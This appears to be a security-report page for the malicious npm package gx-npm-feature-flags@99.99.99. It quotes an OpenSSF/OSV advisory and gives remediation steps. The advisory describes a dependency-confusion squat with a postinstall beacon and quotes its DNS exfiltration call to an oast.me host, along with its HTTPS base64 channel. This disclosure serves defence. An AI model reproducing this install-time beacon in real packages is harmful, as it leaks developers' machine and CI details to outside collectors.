gx-npm-feature-flags
This report shows the evidence for gx-npm-feature-flags@99.99.99, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6466 confirms this npm version as malicious.
Advisory
MAL-2026-6466
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in gx-npm-feature-flags (npm)
Details
gx-npm-feature-flags@99.99.99 is a dependency-confusion squat (max-semver `99.99.99` on a `gx-`-prefixed name to outrank a private internal package) that runs an exfiltration beacon at install time. `package.json` declares `postinstall: node beacon.js`. beacon.js collects the installer's OS hostname (`os.hostname()`), OS user (`os.userInfo()` / `process.env.USER`), current working directory (`process.cwd()`), package name, Node version, and the first 80 environment-variable names (`process.env`), then exfiltrates via two channels to a hardcoded `*.oast.me` endpoint: (1) a DNS lookup encoding pkg/host/user as subdomain labels (`dns.lookup('<pkg>.<host>.<user>.d8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me')`), and (2) an HTTPS GET to the same host with a base64-encoded JSON blob in the query string (`path: '/'+pkg+'?d='+base64(JSON({pkg,host,user,cwd,env_names,node}))`). The base64 wrapping obscures the payload from proxy logs; the dual DNS+HTTPS channels are designed to bypass egress filtering. The package README self-labels as 'authorized security research / Bugcrowd dependency-confusion PoC' — that framing does not consent any third party who installs the package; their CI/build identifiers leave to a third-party collector regardless of the author's stated intent.
## Source: ghsa-malware (6a432f2363d7c4011a54074c1ad6f773a2557b367099c3c8de3ecba380cbfc1f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
## Source: ossf-package-analysis (b1c95e5e4a2cb9afebf67c805d5a74c5aba0ebedd5ed011f65dc6406b6a693cd) The OpenSSF Package Analysis project identified 'gx-npm-feature-flags' @ 99.99.99 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to gx-npm-feature-flags@99.99.99.
The versions list below shows the verdict for each recorded version.
- Avoid installing gx-npm-feature-flags@99.99.99. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.